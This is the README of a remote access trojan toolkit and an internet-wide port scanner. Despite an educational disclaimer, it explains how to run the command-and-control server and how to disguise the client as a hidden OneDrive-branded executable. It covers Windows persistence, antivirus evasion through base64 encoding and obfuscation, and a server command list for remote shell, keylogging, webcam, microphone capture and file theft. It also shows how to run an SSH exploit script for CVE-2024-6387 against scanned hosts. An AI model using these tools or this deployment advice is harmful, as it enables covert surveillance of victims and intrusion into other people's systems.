Software is provided AS IS, without any expectation of support, or warranty. These utilities are meant to be used ONLY for understanding the inner workings of port scanners and RATs (Remote Access Trojans). I do not condone any illegal use, and using it for such purposes would be a breach of the license agreement. I will not be held responsible for any misuse.
My educational background is in Cybersecurity, though I've never worked directly in the field. I've written many different versions of RATs, and (lesser) port scanners in the past. These have ranged from unsophisticated ideas like GET requests to pull from PHP Command and Control APIs hosting commands, publicly accessible temporary commands accessible from HTML pages, to client-server TCP socket ones. What makes SYSNET different from the rest, is it being a bit more grandiose, as it's more of a multipurpose utility rather than a hyper-specific program. SYSNET has some features one would not typically need in a criminal-oriented RAT (piano), and additional deployment scripts for the more sinful scenarios.
The purpose was not to create something for illegal purposes. It's simply to understand (at a high level) how this stuff is actually done, and for fun.
As is with anything programming related, the best way to understand is by reading the code.
Cross-Platform Remote Access (and not so much of a) Trojan toolkit.
Scenarios are ordered in terms of least difficulty to configure & least possibility of introducing attack vectors.
LAN would be the standard: connecting Client -> Server without sending traffic through your external gateway. The LAN scenario would likely be for testing purposes, or if you have LAN access via a VPN service.
Using LAN hosting, it's assumed server.py
would be accessed from clients directly under your control.
Tailscale would make the most sense if you want control over your machines over any Internet connection without them being accessible to non-Tailscale connected machines. Tailscale would be most applicable for anti-theft: If you had client.py
automatically setup to run on your machine which was stolen, you could access it from afar (assuming they're able to login to it (or if you had Tailscale + client.py
to run on boot, rather than just login), connect via Wi-Fi or Ethernet, etc.).
If you require something more robust, with the server.py
publically accessible, use Tailscale + a reverse proxy... Run Tailscale on a Command and Control machine, then setup the reverse proxy that will connect in pseudo-locally to the Command and Control server.py
via Tailscale; the only thing pubically exposed being a single port on the VPS (at least that's Internet accessible). You could then lock-down the reverse proxy to limit only specific packet types, inbound/outbound traffic types, etc.
Using Tailscale hosting, it's assumed server.py
would be accessed from clients directly under your control.
Public hosting, as self-explanatory as it is, goes as the following: Create a Command and Control system serving server.py
over TCP/613 (configurable) forwarded by a router onto the Internet. The public IP address of the gateway would be provided to the client.py
instance, allowing a flow of traffic between client.py
and server.py
. As described in the Tailscale section, a reverse proxy would be preferred. You'll want to expose as little of the Command and Control system as possible.
Additionally, you'd probably want your Command and Control system to be a Virtual Machine rather than something bare metal. Oh, and encrypted. And locked down. And probably not have any LAN access (create a private switch that isolates your VM from your LAN).
Using public hosting, it's assumed server.py
would be accessed from clients indirectly out of your control.
Works as of Python 3.13.5.
PS SYSNET> py .\client.py localhost
[+] connected to localhost:613 as alice
pip3 install psutil sounddevice cryptography pillow opencv-python mss
pyinstaller --onefile --noconsole --icon=icon.png
icon.png
, a OneDrive icon, is given as a generic icon.
Compilation is recommended if you want a self-contained binary without having to install Python dependencies (there are a lot within the client).
Note: If you are using the above compilation command and know from where you'll be publishing your server.py
instance, I'd recommend baking the public IP directly into the client.py
(rework required), or use the deployment script to invoke it as a flag upon runtime.
The --noconsole
flag is used so if the executable is clicked, "nothing happens". At least, there is no window that appears within the user's purview. Instead, it runs in the background, still viewable in Task Manager in whatever name that the file was written as. This is why it's important to rename the file to something more "valuable".
If you're deploying for Windows, there's a supplicant script named deploy_windows.py
, which (tries) to establish persistence using the following methods:
The list is sorted in order of first to last operation. If the first doesn't work, it'll go to the second, then third, until one works.
Linux deployment steps won't be defined here. Frankly, if you get access to a Unix system, you should be able to figure out how to make it persist. You can do this either using cron, systemctl commands (if you have root), etc... This is to say I don't know much about writing malware targetting Unix-like systems.
python3 encode_py_base64.py example.py
This will protect against signature based anti-virus detection methods, and that's really it. Additionally, it protects against string analysis, but only to a certain extend... It's pretty obvious that the payload is Base64 encoded if you know even the least as to what you're doing. Many tools (Ghidra) can decode this either automatically or at the click of a button.
Known Bugs: __future__
imports usually aren't placed at the top of the file, as they're sorted alphabetically. You can work around this by modifying the destination payload file and placing __future__ at the top.
python3 obfuscate_py.py example.py
This script will rename most functions, variables, and strings to something much more obscure, based off of a random.seed()
string. The exception is for import lines, and f-strings. All else (including strings, which are now base64 encoded/decoded), are obfuscated.
Works as of Python 3.13.5.
There is much less to explain about server.py
, as it's explained through the help flag. You can view more about the program functionality of server.py
through the --help/-h flag written into the REPL.
PS SYSNET> py server.py SYSNET <https://rethy.xyz> input> --serve input> [*] Listening on 0.0.0.0:613 input> input> input> [+] #1 alice@('127.0.0.1', 63974) connected input> input> input> --help --serve starts TCP socket on 0.0.0.0:613 configurable via global variables --list lists clients current connected to the server Includes system username, OS, public IP, and peer --send usage: --send <id> <cmd> [payload (optional)] <id> ID of the client found from --list <cmd> command you wish to execute: 1: Execute shell command (requires payload) Example: --send 1 1 whoami 2: Binary output (internal use) 3: Stream frame (internal use) 4: Take screenshot of all displays Captures all monitors and saves as PNG 5: Capture webcam photo Takes single photo from default camera 6: Record microphone audio Records 5 seconds by default, or specify duration Example: --send 1 6 10 (records 10 seconds) 7: Toggle keylogger First call starts logging, second call stops and returns data 8: Shutdown system Immediately shuts down the client machine 9: Restart system Immediately restarts the client machine 10: Toggle webcam stream Starts/stops continuous webcam streaming 11: Perform LAN network scan Scans local network for live hosts and open ports 12: LAN scan output (internal use) 13: SMB mapping scan (Windows only) Lists SMB shares and mappings on Windows systems 14: Download file from client Requires full file path as payload Example: --send 1 14 C:\Users\user\file.txt 15: Interactive piano mode Turns client into a musical keyboard instrument Use keyboard keys to play musical notes 16: Play piano note (internal use) 99: Self-destruct client Attempts to delete client file and terminate Additional Commands: exit/quit - terminate the server --help - show this help message input> input> input> input> --send 1 1 dir [→] sent cmd 1 to #1 input> [←] #1 output: Directory of SYSNET 2025-07-16 09:47 AM <DIR> . 2025-07-16 09:47 AM <DIR> .. 2025-07-14 04:41 PM <DIR> build 2025-07-15 08:39 AM 20,140 client.py 2025-07-14 04:47 PM 729 client.spec 2025-07-09 09:51 PM 7,789 deploy_windows.py 2025-07-14 04:47 PM <DIR> dist 2025-07-07 01:36 PM 77 generate-fernet-key.py 2025-07-07 01:36 PM 179 README.md 2025-07-16 09:45 AM 16,223 server.py 6 File(s) 45,137 bytes 4 Dir(s) 6,830,540,390,400 bytes free input> input>
IPv4 public address space scanner.
Can be run on Windows or Linux. Optimally, install it on Linux.
Install with a VPN, and preferably headless, on a locked down system.
The core of the NETSCAN program. Scans all public IPv4 internet addresses in order from lowest to highest, looking for commonly exploitable ports. If found, they are logged in a JSON database for further action.
In the case of NETSCAN, it is just a scanner, not an autonomous scanner + exploitation system. The idea is NETSCAN scans, and you can do whatever you want with the information afterwards.
One supplicant script is provided to demonstrate one of the most common exploits for an out-of-date SSH version, ssh-2.0-exploit.py
.
scan_database.json
is the core database read from, updated, and maintained by the NETSCAN.py
file. Entries contain an IP, when an online host was first seen on that IP, last updated, and opened ports (ports-to-check are defined through a global variable array within NETSCAN.py
)
scan_database.json isn't provided, but generated on program run. The general format will look like the following:
{ "1.0.4.18": { "first_seen": "2025-07-23T22:59:36.043442", "last_updated": "2025-07-24T09:25:11.530446", "ports": { "22/ssh": { "status": "open", "banner": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11", "last_seen": "2025-07-23T22:59:36.043442" }, "443/https": { "status": "open", "banner": "", "last_seen": "2025-07-24T09:25:11.526049" }, "80/http": { "status": "open", "banner": "", "last_seen": "2025-07-24T09:25:11.530446" } } }, "1.0.16.9": { "first_seen": "2025-07-23T23:25:14.983380", "last_updated": "2025-07-23T23:25:14.983380", "ports": { "22/ssh": { "status": "open", "banner": "SSH-1.99-Cisco-1.25", "last_seen": "2025-07-23T23:25:14.983380" } } }, ...
Running python3 ssh-2.0-exploit.py $IP_ADDRESS
(default port 22) on an SSH host running some derivative of SSH version 2.0 will attempt an RegreSSHion brute force attack (CVE-2024-6387).
The attack works as follows (explanation taken from https://www.varonis.com/blog/openssh-regresshion-rce-vulnerability):
In this case, as it's only a proof of concept to see how it's done, and as it's primitive, we're only doing step 1, 2, 3, and 5.